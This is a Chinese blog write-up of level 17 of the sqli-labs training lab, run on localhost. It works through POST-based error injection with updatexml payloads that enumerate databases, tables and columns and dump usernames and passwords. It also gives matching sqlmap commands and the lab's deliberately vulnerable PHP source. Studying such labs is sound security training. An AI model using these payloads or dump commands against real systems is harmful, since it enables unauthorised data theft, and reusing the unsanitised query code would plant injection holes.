首页 > 数据库 >sql-labs靶场第十七关测试报告

sql-labs靶场第十七关测试报告

时间:2024-10-19 10:22:16浏览次数:3  
标签:测试报告 0x7e echo labs 报错 sql password concat 注入

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-17/

二、测试目的

测试post型的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

这是重置密码页面:

尝试发现,用户名username框不管包含单引号还是双引号,都是不会报错的;

密码new password框分情况:如果username框中输入的是系统中不存在的用户名,则new password框中不管包含单引号还是双引号,都是不会报错的;但如果user name框中输入的是系统中存在的用户名,则new password框中包含单引号会报错。

账号admin  密码加上单引号会报错

测试闭合方式

闭合方式为单引号,后面拼接报错注入方式可以查出结果

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select version()),1,31),0x7e),1)#&submit=Submit

②爆库,查看数据库名称

爆出所有数据库

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit

③爆表,查看security库的所有表

爆表,security表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit

④爆列,查看users表的所有列

爆列,users表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

发现查users表会出错,因为语句已经使用了更新数据的语句(是重置密码页面,因此,sql语句可能是update),不能再用updatexml函数查找这张表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#&submit=Submit

查其他数据库的表没问题

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from pikachu.users),1,31),0x7e),1)#&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r  指定抓到的数据包文件

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
        
    else
        {
        $value = intval($value);
        }
    return $value;
    }

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);

// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
        //echo '<font color= "#0000ff">';   
        $row1 = $row['username'];   
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
        echo "<br>";
    
    
    
        if (mysql_error())
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
        }
        else
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;     
            echo "<br>";
            echo "</font>";
        }
    
        echo '<img src="../images/flag1.jpg"   />'; 
        //echo 'Your Password:' .$row['password'];
        echo "</font>";
    

    }
    else  
    {
        echo '<font size="4.5" color="#FFFF00">';
        //echo "Bug off you Silly Dumb hacker";
        echo "</br>";
        echo '<img src="../images/slap1.jpg"   />';
    
        echo "</font>";  
    }
}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.先检测了用户名是否存在,存在才会验证密码,验证密码时直接引入了变量,存在sql注入,出错时会弹出报错信息。

3.这关是重置密码的页面,出错会弹出报错信息,只能在密码处注入,存在万能密码漏洞,使用报错注入出信息。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用报错注入得到结果。

标签:测试报告,0x7e,echo,labs,报错,sql,password,concat,注入
From: https://blog.csdn.net/2301_79698171/article/details/142979739

相关文章

  • sql-labs靶场第十六关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①寻找注入方法②爆库,查看数据库名称③爆表,查看security库的所有表④爆列,查看users表的所有列⑤成功获取用户名和密码信息3、sqlmap注入方法①爆库②爆表③爆......
  • hive执行SQL提示:Error while processing statement:FAILED:Execution Error, return c
    遇到Hive执行SQL时提示Errorwhileprocessingstatement:FAILED:ExecutionError,returncode1fromorg.apache.hadoop.hive.ql.exec.tez.TezTask的错误,通常意味着在执行Tez任务时出现了问题。这个错误可能由多种原因引起,包括但不限于配置问题、资源限制、数据问......
  • 基于SpringBoot+Vue+MySQL的驾校管理系统设计与实现(源码+文档+部署视频等)
    文章目录1.前言2.详细视频演示3.程序运行示例图4.文档参考5.技术框架5.1后端采用SpringBoot框架5.2前端框架Vue5.3程序操作流程6.选题推荐7.原创毕设案例8.系统测试8.1系统测试的目的8.2系统功能测试9.代码参考10.为什么选择我?11.获取源码1.前言......
  • 基于SpringBoot+Vue+MySQL的数码论坛系统设计与实现(源码+文档+部署视频等)
    文章目录1.前言2.详细视频演示3.程序运行示例图4.文档参考5.技术框架5.1后端采用SpringBoot框架5.2前端框架Vue5.3程序操作流程6.选题推荐7.原创毕设案例8.系统测试8.1系统测试的目的8.2系统功能测试9.代码参考10.为什么选择我?11.获取源码1.前言......
  • sql注入盲注详解以及绕过waf方法
    盲注mysql函数普及exists():用于判度条件是否满足,满足返回True,否则返回Falseif(条件,为真返回的值,为假返回的值):根据条件真假返回指定的值length(string):计算出长度string可以是任何字符串字面量或者字段名。substr(string,子字符串开始的位置,要提取的子字符串长......
  • Sqlmap命令使用方法总结----适合网络安全小白
    在网上找了很多教程,都是零零散散的,找到了两位位前辈的博客,应该是翻译的官方文档,感谢前辈们做出的贡献.希望能够帮助刚学网络安全的小白们本文参考:漏洞人生和sqlmap用户手册中文版目录Sqlmap使用方法总结sqlmap简介常用语句sqlmap详细命令用法选项目标请求优化注入......
  • 2024/10/18日 日志 --》关于MySQL中的 事务 以及JDBC的初步学习笔记与整理
    今天学习练习了事务的相关内容,并正式向连接数据库走近,进入到JDBC的学习。点击查看代码--事务--概念简介:是一种机制,一个操作序列,包含了一组数据库操作命令。-- 事务把所有的命令作为一个整体一起向系统提交或撤销操作请求,--即这一组数据库命令要么同时成功,要么同时失......
  • 【PostgreSQL】如何安装和配置PgBouncer以提高PostgreSQL的并发处理能力?
    安装和配置PgBouncer以提高PostgreSQL的并发处理能力是一个多步骤的过程。PgBouncer作为连接池器,可以有效地管理到PostgreSQL服务器的连接,从而减少每个新连接所需的开销,并且能够更高效地利用资源。下面是详细的步骤说明,包括如何在Debian/Ubuntu系统上安装PgBouncer以及如何......
  • MYSQL-多表查询和函数
    第一题讲解#1.查出至少有一个员工的部门,显示部门编号、部门名称、部门位置、部门人数。分析: (分析要查的表): (显示的列): (关联条件): (过滤条件): [分组条件]: [排序条件]: [分页条件]: SELECT d.deptno,dname,loc,count(empno)FROMdeptdJOINem......
  • MyBatis入门及sql语句实战
    目录概述环境的配置MyBatis操作步骤总结创建UserMapper.java映射器接口创建UserMapper.xml映射文件在mybatis-config.xml环境配置文件中添加UserMapper.xml映射文件路径在MyBatisDemo中编写MyBatis测试代码MyBatis环境搭建MyBatis查询操作CURD操作参数传递方式Mapper映射......